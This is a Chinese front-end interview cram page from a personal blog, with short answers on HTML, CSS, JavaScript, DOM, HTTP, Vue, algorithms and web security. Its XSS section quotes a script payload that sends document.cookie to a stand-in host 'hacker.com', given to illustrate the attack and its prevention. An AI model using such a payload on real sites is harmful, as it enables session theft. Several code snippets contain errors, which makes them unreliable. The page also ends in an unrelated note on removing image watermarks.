<!DOCTYPE html>
<html lang="zh-CN">





<head>
  <meta charset="UTF-8">
  <link rel="apple-touch-icon" sizes="76x76" href="/myblog/img/apple-touch-icon.png">
  <link rel="icon" type="image/png" href="/myblog/img/favicon.png">
  <meta name="viewport"
        content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no">
  <meta http-equiv="x-ua-compatible" content="ie=edge">
  
  <meta name="theme-color" content="#2f4154">
  <meta name="description" content="TakCode Blog">
  <meta name="author" content="谢芃">
  <meta name="keywords" content="">
  <title>page.title - TakCode</title>

  <link  rel="stylesheet" href="https://cdn.staticfile.org/font-awesome/5.12.1/css/all.min.css" />
<link  rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/4.4.1/css/bootstrap.min.css" />
<link  rel="stylesheet" href="https://cdn.staticfile.org/mdbootstrap/4.13.0/css/mdb.min.css" />
<link  rel="stylesheet" href="https://cdn.staticfile.org/github-markdown-css/3.0.1/github-markdown.min.css" />

<link rel="stylesheet" href="//at.alicdn.com/t/font_1067060_qzomjdt8bmp.css">



  <link  rel="stylesheet" href="/myblog/lib/prettify/tomorrow-night-eighties.min.css" />

<link  rel="stylesheet" href="/myblog/css/main.css" />


  <link defer rel="stylesheet" href="https://cdn.staticfile.org/fancybox/3.5.7/jquery.fancybox.min.css" />


<!-- 自定义样式保持在最底部 -->


<meta name="generator" content="Hexo 4.2.0"></head>


<body>
  <header style="height: 70vh;">
    <nav id="navbar" class="navbar fixed-top  navbar-expand-lg navbar-dark scrolling-navbar">
  <div class="container">
    <a class="navbar-brand"
       href="/myblog/">&nbsp;<strong>TakCode</strong>&nbsp;</a>

    <button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
            data-target="#navbarSupportedContent"
            aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
      <div class="animated-icon"><span></span><span></span><span></span></div>
    </button>

    <!-- Collapsible content -->
    <div class="collapse navbar-collapse" id="navbarSupportedContent">
      <ul class="navbar-nav ml-auto text-center">
        
          
          
          
          
          <li class="nav-item">
            <a class="nav-link" href="/myblog/">首页</a>
          </li>
        
          
          
          
          
          <li class="nav-item">
            <a class="nav-link" href="/myblog/archives/">归档</a>
          </li>
        
          
          
          
          
          <li class="nav-item">
            <a class="nav-link" href="/myblog/categories/">分类</a>
          </li>
        
          
          
          
          
          <li class="nav-item">
            <a class="nav-link" href="/myblog/tags/">标签</a>
          </li>
        
          
          
          
          
          <li class="nav-item">
            <a class="nav-link" href="/myblog/about/">关于</a>
          </li>
        
        
          <li class="nav-item" id="search-btn">
            <a class="nav-link" data-toggle="modal" data-target="#modalSearch">&nbsp;&nbsp;<i
                class="iconfont icon-search"></i>&nbsp;&nbsp;</a>
          </li>
        
      </ul>
    </div>
  </div>
</nav>

    <div class="view intro-2" id="background" parallax=true
         style="background: url('/myblog/img/default.png') no-repeat center center;
           background-size: cover;">
      <div class="full-bg-img">
        <div class="mask rgba-black-light flex-center">
          <div class="container text-center white-text fadeInUp">
            <span class="h2" id="subtitle">
              
            </span>

            
          </div>

          
        </div>
      </div>
    </div>
  </header>

  <main>
    
      <div class="container nopadding-md">
        <div class="py-5 z-depth-3" id="board"
          >
          
          <div class="container">
            <div class="row">
              <div class="col-12 col-md-10 m-auto">
                

<div class="page-content">
  <ul>
<li><strong>纯应试向押题</strong></li>
</ul>
<p>大部分答案可以在谷歌上搜到。</p>
<p>套路</p>
<ol>
<li>举例</li>
<li>将不会的变成会的</li>
<li>侃侃而谈</li>
</ol>
<h3 id="HTML"><a href="#HTML" class="headerlink" title="HTML"></a>HTML</h3><p>（必考） 你是如何理解 HTML 语义化的？<br>第一种举例，段落用 p，边栏用 aside，主要内容用 main 标签<br>第二种</p>
<p>最开始是 PHP 后端写 HTML，不会 CSS，于是就用 table 来布局。table 使用展示表格的。严重违反了 HTML 语义化。</p>
<p>后来有了专门的写 CSS 的前端，他们会使用 DIV + CSS 布局，主要是用 float 和绝对定位布局。稍微符合了 HTML 语义化。</p>
<p>再后来，前端专业化，知道 HTML 的各个标签的用法，于是会使用恰当的标签来展示内容，而不是傻傻的全用 div，会尽量使用 h1、ul、p、main、header 等标签</p>
<p>语义化的好处是已读、有利于SEO等。</p>
<p>第三种：对面试官说请看我的博客 <a href="https://zhuanlan.zhihu.com/p/32570423" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/32570423</a></p>
<p>meta viewport 是做什么用的，怎么写？<br>死背： <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"><br>控制页面在移动端不要缩小显示。<br>侃侃而谈</p>
<p>一开始，所有页面都是给PC准备的，乔布斯推出 iPhone 3GS，页面是不适应手机屏幕的，所以乔布斯的工程师想了一个办法，默认把手机模拟成 980px，页面缩小。</p>
<p>后来，智能手机普及，这个功能在部分网站不需要了，所以我们就用 meta:vp 让手机不要缩小我的网页。</p>
<p>canvas 元素是干什么的？<br>项目丢给他。<br>看 MDN 的 canvas <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API" target="_blank" rel="noopener">入门手册</a>。</p>
<p>CSS 押题</p>
<p>（必考） 说说盒模型。</p>
<ul>
<li>举例：<br>content-box: width == 内容区宽度<br>border-box: width == 内容区宽度 + padding 宽度 + border 宽度</li>
</ul>
<p>css reset 和 css 有什么区别？</p>
<ul>
<li>考英文：<ul>
<li>reset 重置，之前的样式我不要，a{color: red;}，抛弃默认样式</li>
<li>normalize 让所有浏览器的标签都跟标准规定的默认样式一致，各浏览器上的标签默认样式基本统一。</li>
</ul>
</li>
</ul>
<h3 id="（必考）如何居中？"><a href="#（必考）如何居中？" class="headerlink" title="（必考）如何居中？"></a>（必考）如何居中？</h3><ul>
<li>水平居中：<ul>
<li>内联：爸爸身上写 text-align:center;</li>
<li>块级：margin-left: auto; margin-right: auto;</li>
</ul>
</li>
<li>垂直居中：<a href="https://jscode.me/t/topic/1936" target="_blank" rel="noopener">https://jscode.me/t/topic/1936</a><ol>
<li><a href="http://js.jirengu.com/gaquk/2/edit" target="_blank" rel="noopener">table自带功能</a></li>
<li><a href="http://js.jirengu.com/poveg/1/edit" target="_blank" rel="noopener">100% 高度的 afrer before 加上 inline block</a><br>这个方法还有一个<a href="http://js.jirengu.com/poveg/3/edit" target="_blank" rel="noopener">优化版本540</a></li>
<li><a href="http://js.jirengu.com/yusux/6/edit" target="_blank" rel="noopener">div 装成 table</a></li>
<li><a href="http://js.jirengu.com/sugex/1/edit" target="_blank" rel="noopener">margin-top -50%</a></li>
<li><a href="http://js.jirengu.com/sugex/3/edit" target="_blank" rel="noopener">translate -50%</a></li>
<li><a href="http://js.jirengu.com/sugex/5/edit" target="_blank" rel="noopener">absolute margin auto</a></li>
<li><a href="http://js.jirengu.com/sugex/7/edit" target="_blank" rel="noopener">flex</a></li>
</ol>
</li>
</ul>
<p>选择器优先级如何确定？</p>
<ul>
<li>选择器越具体，优先级越高。 #xxx 大于 .yyy</li>
<li>同样优先级，写在后面的覆盖前面的。</li>
<li>color: red !important; 优先级最高。</li>
</ul>
<p>BFC 是什么？</p>
<ul>
<li>举例：<ul>
<li>overflow:hidden 清除浮动。（方方总是用 .clearfix 清除浮动，坚决不用 overflow:hidden 清除浮动）</li>
<li>overflow:hidden 取消父子 margin 合并。<a href="http://jsbin.com/conulod/1/edit?html,css,js,output" target="_blank" rel="noopener">http://jsbin.com/conulod/1/edit?html,css,js,output</a>（方方用 padding-top: 1px;）</li>
</ul>
</li>
</ul>
<p>如何清除浮动？</p>
<pre><code class="css">overflow: hidden （不建议使用）
.clearfix 清除浮动写在爸爸身上
.clearfix::after{
    content: &#39;&#39;; display: block; clear:both;
}

.clearfix{
    zoom: 1; /* IE 兼容 */
}</code></pre>
<p>JS 押题</p>
<h3 id="JS-有哪些数据类型？"><a href="#JS-有哪些数据类型？" class="headerlink" title="JS 有哪些数据类型？"></a>JS 有哪些数据类型？</h3><p>string number bool undefined null object symbol<br>object 包括了数组、函数、正则、日期等对象<br>一旦出现（数组、函数、正则、日期、NaN）直接0分</p>
<h3 id="必考）-Promise-怎么使用？"><a href="#必考）-Promise-怎么使用？" class="headerlink" title="(必考） Promise 怎么使用？"></a>(必考） Promise 怎么使用？</h3><pre><code class="js">then

$.ajax(...).then(成功函数, 失败函数)

链式 then

$.ajax(...).then(成功函数, 失败函数).then(成功函数2, 失败函数2)

如何自己生成 Promise 对象

function xxx(){
    return new Promise(function(resolve, reject){
        setTimeout(()=&gt;{
            resolve() 或者 reject()
        },3000)
    })
}
xxx().then(...)</code></pre>
<h3 id="必考-AJAX-手写一下？"><a href="#必考-AJAX-手写一下？" class="headerlink" title="(必考) AJAX 手写一下？"></a>(必考) AJAX 手写一下？</h3><pre><code class="js">let xhr = new XMLHttpRequest()
xhr.open(&#39;POST&#39;, &#39;/xxxx&#39;)
xhr.onreadystatechange = function(){
    if(xhr.readyState === 4 &amp;&amp; xhr.status === 200){
        console.log(xhr.responseText)
    }
}

send(&#39;a=1&amp;b=2&#39;)</code></pre>
<h3 id="（必考）闭包是什么？"><a href="#（必考）闭包是什么？" class="headerlink" title="（必考）闭包是什么？"></a>（必考）闭包是什么？</h3><pre><code class="js">function createAdder(){
    var n = 0
    return function(){
        n += 1
    }
}
let  adder = createAdder()
adder() // n === 1
adder() // n === 2
console.log(n) // n is not defined</code></pre>
<p>正确参考：<a href="https://zhuanlan.zhihu.com/p/22486908" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/22486908</a></p>
<h3 id="（必考）这段代码里的-this-是什么？"><a href="#（必考）这段代码里的-this-是什么？" class="headerlink" title="（必考）这段代码里的 this 是什么？"></a>（必考）这段代码里的 this 是什么？</h3><p>fn() 里面的 this 就是 window</p>
<p>fn() 是 strict mode (严格模式)，this 就是 undefined</p>
<p>a.b.c.fn() 里面的 this 就是 a.b.c</p>
<p>new F() 里面的 this 就是新生成的实例</p>
<p>() =&gt; console.log(this) 里面 this 跟外面的 this 的值一模一样  </p>
<p>正确参考：<a href="https://zhuanlan.zhihu.com/p/23804247" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/23804247</a></p>
<h3 id="（必考）什么是立即执行函数？使用立即执行函数的目的是什么？"><a href="#（必考）什么是立即执行函数？使用立即执行函数的目的是什么？" class="headerlink" title="（必考）什么是立即执行函数？使用立即执行函数的目的是什么？"></a>（必考）什么是立即执行函数？使用立即执行函数的目的是什么？</h3><pre><code class="js">;(function (){
var name
}())

~function (){
var name
}()

造出一个函数作用域，防止污染全局变量

ES 6 新语法
 {
     let  name
 }</code></pre>
<h3 id="async-await-语法了解吗？目的是什么？"><a href="#async-await-语法了解吗？目的是什么？" class="headerlink" title="async/await 语法了解吗？目的是什么？"></a>async/await 语法了解吗？目的是什么？</h3><pre><code class="js">function resolveAfter2Seconds() {
    return new Promise(resolve =&gt; {
        setTimeout(() =&gt; {
            resolve(&#39;resolved&#39;);
        }, 2000);
    });
}

async function asyncCall() {
    console.log(&#39;calling&#39;);
    const result = await resolveAfter2Seconds();
    console.log(result);
    // expected output: &#39;resolved&#39;
}

asyncCall();

// 把异步代码写成同步代码。</code></pre>
<p> <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/async_function" target="_blank" rel="noopener">https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/async_function</a> </p>
<p>如何实现深拷贝？</p>
<pre><code class="js"></code></pre>
<h3 id="如何实现数组去重？"><a href="#如何实现数组去重？" class="headerlink" title="如何实现数组去重？"></a>如何实现数组去重？</h3><pre><code class="js">// 计数排序的逻辑（只能正整数）
var a = [4,2,5,6,3,4,5]
var hashTab = {}
for(let i=0; i&lt;a.length;i++){
    if(a[i] in hashTab){
        // 什么也不做
    }else{
        hashTab[a[i]] = true
    }
}
// hashTab: {4: true, 2: true, 5: true, 6:true, 3: true}
log(Object.keys(hashTab)) // \[&#39;4&#39;,&#39;2&#39;,&#39;5&#39;,&#39;6&#39;,&#39;3&#39;\]
// Set 去重
Array.from(new Set(a))
// WeakMap 任意类型去重
</code></pre>
<h3 id="如何用正则实现trim-？"><a href="#如何用正则实现trim-？" class="headerlink" title="如何用正则实现trim() ？"></a>如何用正则实现trim() ？</h3><pre><code class="js">function trim(string){
    return string.replace(/^\s+|\s+$/, &#39;&#39;)
}</code></pre>
<h3 id="JS-原型是什么？"><a href="#JS-原型是什么？" class="headerlink" title="JS 原型是什么？"></a>JS 原型是什么？</h3><ul>
<li><p>举例</p>
<p>var a = [1,2,3]</p>
<p>只有0、1、2、length 4 个key</p>
<p>为什么可以a.push(4) ，push 是哪来的？</p>
<p><code>a.__proto__</code>=== Array.prototype</p>
<p>push 就是沿着<code>a.__proto__</code>找到的，也就是 Array.prototype.push</p>
<p> Array.prototype 还有很多方法，如 join、pop、slice、splice</p>
<p>prototype 就是 a 的原型（<code>a.__proto__</code>）<br>参考：<a href="https://zhuanlan.zhihu.com/p/23090041" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/23090041</a></p>
</li>
</ul>
<h3 id="JS-如何实现继承？"><a href="#JS-如何实现继承？" class="headerlink" title="JS 如何实现继承？"></a>JS 如何实现继承？</h3><pre><code class="js">原型链
function Animal(){
    body = &#39;肉体&#39;
}

prototype.move = function(){
}
function Human(name){
    apply(this, arguments)
    name = name
}
// Human.prototype.__proto__ = Animal.prototype // 非法
var f = function(){}
f.prototype = Animal.prototype
Human.prototype = new f()

Human.prototype.useTools = function(){}
var frank = new Human()


// extends 关键字

class Animal{
    constructor(){
        body = &#39;肉体&#39;
    },
        move(){}
}

class Human extends Animal{
    constructor(name){
        super()
        name = name
    },
        useTools(){}
}

var frank = new Human()</code></pre>
<p>== 相关题目直接反着答（放弃）</p>
<p>DOM 押题</p>
<h3 id="DOM-事件模型是什么？"><a href="#DOM-事件模型是什么？" class="headerlink" title="DOM 事件模型是什么？"></a>DOM 事件模型是什么？</h3><ol>
<li>冒泡</li>
<li>捕获</li>
</ol>
<p><a href="http://jsbin.com/raqakog/1/edit?js,console,output" target="_blank" rel="noopener">如果这个元素是被点击的元素，那么捕获不一定在冒泡之前，顺序是由监听顺序决定的</a>。</p>
<h3 id="移动端的触摸事件了解吗？"><a href="#移动端的触摸事件了解吗？" class="headerlink" title="移动端的触摸事件了解吗？"></a>移动端的触摸事件了解吗？</h3><p>touchstart touchmove touchend touchcancel</p>
<p>模拟 swipe 事件：记录两次 touchmove 的位置差，如果后一次在前一次的右边，说明向右滑了。</p>
<h3 id="事件委托是什么？有什么好处？"><a href="#事件委托是什么？有什么好处？" class="headerlink" title="事件委托是什么？有什么好处？"></a>事件委托是什么？有什么好处？</h3><p>假设父元素有4个儿子，我不监听4个儿子，而是监听父元素，看触发事件的元素是哪个儿子，这就是事件委托。</p>
<p>可以监听还没有出生的儿子（动态生成的元素）。省监听器。</p>
<pre><code class="js">function listen(element, eventType, selector, fn){
    element.addEventListener(eventType, e=&gt;{
        if(e.target.matches(selector)){
            fn.call(el, e, el)
        }
    })
}// 有 bug 但是可以应付面试官的事件委托

function listen(element, eventType, selector, fn) {
    element.addEventListener(eventType, e =&gt; {
        let el = e.target
        while (!el.matches(selector)) {
            if (element === el) {
                el = null
                break
            }
            el = el.parentNode
        }
        el &amp;&amp; fn.call(el, e, el)
    })
    return element
} // 工资 12k+ 的前端写的事件委托

listen(ul, &#39;click&#39;, &#39;li&#39;, ()=&gt;{})

ul&gt;li*5&gt;span</code></pre>
<p>HTTP 押题</p>
<h3 id="301-和-302-的区别是什么？"><a href="#301-和-302-的区别是什么？" class="headerlink" title="301 和 302 的区别是什么？"></a>301 和 302 的区别是什么？</h3><p>301 永久重定向，浏览器会记住</p>
<p>302 临时重定向</p>
<h3 id="HTTP-缓存怎么做？"><a href="#HTTP-缓存怎么做？" class="headerlink" title="HTTP 缓存怎么做？"></a>HTTP 缓存怎么做？</h3><p>Cache-Control: max-age=300</p>
<p><a href="http://cdn.com/1.js?v=1" target="_blank" rel="noopener">http://cdn.com/1.js?v=1</a>避开缓存</p>
<h3 id="Cache-Control-和-Etag-的区别是什么？"><a href="#Cache-Control-和-Etag-的区别是什么？" class="headerlink" title="Cache-Control 和 Etag 的区别是什么？"></a>Cache-Control 和 Etag 的区别是什么？</h3><h3 id="Cookie-是什么？Session-是什么？"><a href="#Cookie-是什么？Session-是什么？" class="headerlink" title="Cookie 是什么？Session 是什么？"></a>Cookie 是什么？Session 是什么？</h3><ul>
<li><p>Cookie</p>
<p>HTTP响应通过 Set-Cookie 设置 Cookie</p>
<p>浏览器访问指定域名是必须带上 Cookie 作为 Request Header</p>
<p>Cookie 一般用来记录用户信息</p>
</li>
<li><p>Session</p>
<p>Session 是服务器端的内存（数据）</p>
<p>Session 一般通过在 Cookie 里记录 SessionID 实现</p>
<p>SessionID 一般是随机数</p>
</li>
</ul>
<h3 id="LocalStorage-和-Cookie-的区别是什么？"><a href="#LocalStorage-和-Cookie-的区别是什么？" class="headerlink" title="LocalStorage 和 Cookie 的区别是什么？"></a>LocalStorage 和 Cookie 的区别是什么？</h3><ul>
<li>Cookie 会随请求被发到服务器上，而 LocalStorage 不会</li>
</ul>
<p>Cookie 大小一般4k以下，LocalStorage 一般5Mb 左右</p>
<h3 id="（必考）GET-和-POST-的区别是什么？"><a href="#（必考）GET-和-POST-的区别是什么？" class="headerlink" title="（必考）GET 和 POST 的区别是什么？"></a>（必考）GET 和 POST 的区别是什么？</h3><p>参数。GET 的参数放在 url 的查询参数里，POST 的参数（数据）放在请求消息体里。</p>
<p>安全（扯淡）。GET 没有 POST 安全（都不安全）</p>
<p>GET 的参数（url查询参数）有长度限制，一般是 1024 个字符。POST 的参数（数据）没有长度限制（扯淡，4~10Mb 限制）</p>
<p>包。GET 请求只需要发一个包，POST 请求需要发两个以上包（因为 POST 有消息体）（扯淡，GET 也可以用消息体）</p>
<p>GET 用来读数据，POST 用来写数据，POST 不幂等（幂等的意思就是不管发多少次请求，结果都一样。）</p>
<h3 id="（必考）怎么跨域？JSONP-是什么？CORS-是什么？postMessage-是什么？"><a href="#（必考）怎么跨域？JSONP-是什么？CORS-是什么？postMessage-是什么？" class="headerlink" title="（必考）怎么跨域？JSONP 是什么？CORS 是什么？postMessage 是什么？"></a>（必考）怎么跨域？JSONP 是什么？CORS 是什么？postMessage 是什么？</h3><p>JSONP</p>
<p>CORS</p>
<ul>
<li>postMessage 看一下 MDN</li>
</ul>
<p>Vue 押题</p>
<h3 id="（必考）Vue-有哪些生命周期钩子函数？"><a href="#（必考）Vue-有哪些生命周期钩子函数？" class="headerlink" title="（必考）Vue 有哪些生命周期钩子函数？"></a>（必考）Vue 有哪些生命周期钩子函数？</h3><ul>
<li>看文档：<a href="#%E9%80%89%E9%A1%B9-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%92%A9%E5%AD%90">https://cn.vuejs.org/v2/api/#%E9%80%89%E9%A1%B9-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%92%A9%E5%AD%90</a></li>
</ul>
<h3 id="（必考）Vue-如何实现组件通信？"><a href="#（必考）Vue-如何实现组件通信？" class="headerlink" title="（必考）Vue 如何实现组件通信？"></a>（必考）Vue 如何实现组件通信？</h3><ul>
<li>父子通信（使用 Prop 传递数据、使用 v-on 绑定自定义事件）</li>
</ul>
<p>爷孙通信（通过两对父子通信，爷爸之间父子通信，爸儿之间父子通信）</p>
<p><a href="#%E9%9D%9E%E7%88%B6%E5%AD%90%E7%BB%84%E4%BB%B6%E7%9A%84%E9%80%9A%E4%BF%A1">兄弟通信（new Vue() 作为 eventBus）</a></p>
<h3 id="Vuex-的作用是什么？"><a href="#Vuex-的作用是什么？" class="headerlink" title="Vuex 的作用是什么？"></a>Vuex 的作用是什么？</h3><ul>
<li>看文档、博客<a href="https://vuex.vuejs.org/zh-cn/intro.html" target="_blank" rel="noopener">https://vuex.vuejs.org/zh-cn/intro.html</a></li>
</ul>
<h3 id="VueRouter-路由是什么？"><a href="#VueRouter-路由是什么？" class="headerlink" title="VueRouter 路由是什么？"></a>VueRouter 路由是什么？</h3><ul>
<li>看文档、博客</li>
</ul>
<h3 id="Vue-的双向绑定是如何实现的？有什么缺点？"><a href="#Vue-的双向绑定是如何实现的？有什么缺点？" class="headerlink" title="Vue 的双向绑定是如何实现的？有什么缺点？"></a>Vue 的双向绑定是如何实现的？有什么缺点？</h3><ul>
<li>看文档，<a href="https://cn.vuejs.org/v2/guide/reactivity.html" target="_blank" rel="noopener">深入响应式原理</a></li>
</ul>
<p>Computed 计算属性的用法？跟 Methods 的区别。<br><a href="https://zhuanlan.zhihu.com/p/33778594" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/33778594</a></p>
<p>算法押题</p>
<ol>
<li>排序算法（背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序）</li>
<li>二分查找法</li>
<li>翻转二叉树</li>
</ol>
<p>把上面三个背一下，算法题必过。</p>
<p>安全押题</p>
<ol>
<li><p>什么是 XSS 攻击？如何预防？</p>
<p>举例</p>
<pre><code>innerHTML = userComment  // userComment 内容是 &lt;script&gt;$.get(&#39;http://hacker.com?cookie=&#39;+document.cookie)&lt;/script&gt;

// 恶意就被执行了，这就是 XSS</code></pre><p>预防</p>
<p>不要使用 innerHTML，改成 innerText，script 就会被当成文本，不执行</p>
</li>
</ol>
<p>如果你一样要用 innerHTML，字符过滤<br>    *   把 &lt; 替换成<code>&amp;lt;</code><br>    *   把 &gt; 替换成<code>&amp;gt;</code><br>    *   把 &amp; 替换成<code>&amp;amp;</code><br>    *   把 ‘ 替换成<code>&amp;apos;</code><br>    *   把 ‘ 替换成<code>&amp;quto;</code><br>    *   代码innerHTML = userComment.replace(/&gt;/g, <code>&amp;lt;</code>).replace…</p>
<pre><code>使用 CSP Content Security Policy</code></pre><ol start="2">
<li>什么是 CSRF 攻击？如何预防？<ul>
<li>过程<ol>
<li>用户在com 登录</li>
<li>用户切换到com（恶意网站）</li>
<li>com 发送一个 qq.com/add_friend 请求，让当前用户添加 hacker 为好友。</li>
<li>用户在不知不觉中添加 hacker 为好友。</li>
<li>用户没有想发这个请求，但是 hacker 伪造了用户发请求的假象。</li>
</ol>
</li>
<li>避免<ol>
<li>检查 referer，com 可以拒绝来自 hacker.com 的请求</li>
<li>csrf_token 来解决</li>
</ol>
</li>
</ul>
</li>
</ol>
<p>Webpack 题</p>
<ol>
<li><p>转译出的文件过大怎么办？</p>
<ul>
<li>使用 code split</li>
<li>写法 import(‘xxx’).then(xxx=&gt;{console.log(xxx)})</li>
<li>xxx 模块就是按需加载的</li>
</ul>
</li>
<li><p>转译速度慢什么办？</p>
</li>
<li><p>写过 webpack loader 吗？</p>
<ul>
<li><a href="http://www.alloyteam.com/2016/01/webpack-loader-1/" target="_blank" rel="noopener">http://www.alloyteam.com/2016/01/webpack-loader-1/</a></li>
</ul>
</li>
</ol>
<p>发散题</p>
<h3 id="从输入-URL-到页面展现中间发生了什么？"><a href="#从输入-URL-到页面展现中间发生了什么？" class="headerlink" title="从输入 URL 到页面展现中间发生了什么？"></a>从输入 URL 到页面展现中间发生了什么？</h3><ol>
<li>DNS 查询 DNS 缓存</li>
<li>建立 TCP 连接（三次握手）连接复用</li>
<li>发送 HTTP 请求（请求的四部分）</li>
<li>后台处理请求</li>
<li>监听 80 端口</li>
<li>路由</li>
<li>渲染 HTML 模板</li>
<li>生成响应</li>
<li>发送 HTTP 响应</li>
<li>关闭 TCP 连接（四次挥手）</li>
<li>解析 HTML</li>
<li>下载 CSS（缓存</li>
<li>解析 CSS</li>
<li>下载 JS（缓存</li>
<li>解析 JS</li>
<li>下载图片</li>
<li>解析图片</li>
<li>渲染 DOM 树</li>
<li>渲染样式树</li>
<li>执行 JS</li>
</ol>
<p>你没有工作经历吗？</p>
<ul>
<li>一开始就问，可以拜拜。</li>
<li>中间问最后问，他想压价。</li>
<li>解法：用项目打动它：你看下我的作品，跟一年经验的前端差距大吗？你们团队一年工作经验的前端，写的出来我这样的作品吗？凭我的作品，我觉得我可以胜任贵司的工作。</li>
</ul>
<p>你遇到过最难的问题是什么？<br><a href="https://www.zhihu.com/question/35323603/answer/338796153" target="_blank" rel="noopener">https://www.zhihu.com/question/35323603/answer/338796153</a></p>
<p>你的期望薪资是多少？<br>你想要的工资 加 1000~2000。</p>
<p>（任何你不会的问题）</p>
<ul>
<li>承认不会</li>
<li>询问详细细节：你问的是不是XXX方面的知识？请问你想问的是哪方面知识？</li>
<li>根据面试官的回答，向有利于自己的方向引导话题。</li>
</ul>
<p>刁钻代码题</p>
<p>map加parseInt</p>
<pre><code>[1,2,3].map(parseInt)

parseInt(1,0, array) // 1

parseInt(2,1, array) // NaN

parseInt(3,2, array) // NaN</code></pre><p>x = a = {}</p>
<p>var a = {n:1};</p>
<p>var b = a;</p>
<p>x = a = {n:2};</p>
<p>问 a.x 是多少？</p>
<p>(a ==1 &amp;&amp; a== 2 &amp;&amp; a==3) 可能为 true 吗？</p>
<p>a = {</p>
<p>value: 0,</p>
<p>toString(){</p>
<p>value += 1</p>
<p>return a.value</p>
<p>}</p>
<p>}## 目标</p>
<p>去除 iconfinder 上 icon 的水印</p>
<h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>利用水印像素点和原图像素点颜色合并的原理，如果拥有加过水印的图片和水印图片，就可以反向推出原图原像素点的颜色；前提是你得拥有他的水印图片</p>

</div>

              </div>
            </div>
          </div>
        </div>
      </div>
    
  </main>

  
    <a class="z-depth-1" id="scroll-top-button" href="#" role="button">
      <i class="fa fa-chevron-up scroll-top-arrow" aria-hidden="true"></i>
    </a>
  

  
    <div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
     aria-hidden="true">
  <div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header text-center">
        <h4 class="modal-title w-100 font-weight-bold">搜索</h4>
        <button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body mx-3">
        <div class="md-form mb-5">
          <input type="text" id="local-search-input" class="form-control validate">
          <label data-error="x" data-success="v"
                 for="local-search-input">关键词</label>
        </div>
        <div class="list-group" id="local-search-result"></div>
      </div>
    </div>
  </div>
</div>
  

  

  

  <footer class="mt-5">
  <div class="text-center py-3">
    <div>
      <a href="https://hexo.io" target="_blank" rel="nofollow noopener"><b>Hexo</b></a>
      <i class="iconfont icon-love"></i>
      <a href="https://github.com/fluid-dev/hexo-theme-fluid" target="_blank" rel="nofollow noopener"> <b>Fluid</b></a>
    </div>
    

    

    
  </div>
</footer>

<!-- SCRIPTS -->
<script  src="https://cdn.staticfile.org/jquery/3.4.1/jquery.min.js" ></script>
<script  src="https://cdn.staticfile.org/popper.js/1.16.1/umd/popper.min.js" ></script>
<script  src="https://cdn.staticfile.org/twitter-bootstrap/4.4.1/js/bootstrap.min.js" ></script>
<script  src="https://cdn.staticfile.org/mdbootstrap/4.13.0/js/mdb.min.js" ></script>
<script  src="/myblog/js/main.js" ></script>


  <script  src="/myblog/js/lazyload.js" ></script>





  <script defer src="https://cdn.staticfile.org/clipboard.js/2.0.6/clipboard.min.js" ></script>
  <script  src="/myblog/js/clipboard-use.js" ></script>








<!-- Plugins -->



  <script  src="https://cdn.staticfile.org/prettify/188.0.0/prettify.min.js" ></script>
  <script>
    $(document).ready(function () {
      $('pre').addClass('prettyprint  linenums');
      prettyPrint();
    })
  </script>



  <script  src="https://cdn.staticfile.org/typed.js/2.0.11/typed.min.js" ></script>
  <script>
    var typed = new Typed('#subtitle', {
      strings: [
        '  ',
        "page.title&nbsp;",
      ],
      cursorChar: "_",
      typeSpeed: 70,
      loop: false,
    });
    typed.stop();
    $(document).ready(function () {
      $(".typed-cursor").addClass("h2");
      typed.start();
    });
  </script>



  <script  src="https://cdn.staticfile.org/anchor-js/4.2.2/anchor.min.js" ></script>
  <script>
    anchors.options = {
      placement: "right",
      visible: "hover",
      
    };
    var el = "h1,h2,h3,h4,h5,h6".split(",");
    var res = [];
    for (item of el) {
      res.push(".markdown-body > " + item)
    }
    anchors.add(res.join(", "))
  </script>



  <script  src="/myblog/js/local-search.js" ></script>
  <script>
    var path = "/myblog/local-search.xml";
    var inputArea = document.querySelector("#local-search-input");
    inputArea.onclick = function () {
      getSearchFile(path);
      this.onclick = null
    }
  </script>



  <script defer src="https://cdn.staticfile.org/fancybox/3.5.7/jquery.fancybox.min.js" ></script>
  <script>
    $("#post img:not(.no-zoom img, img[no-zoom])").each(
      function () {
        var element = document.createElement("a");
        $(element).attr("data-fancybox", "images");
        $(element).attr("href", $(this).attr("src"));
        $(this).wrap(element);
      }
    );
  </script>












</body>
</html>
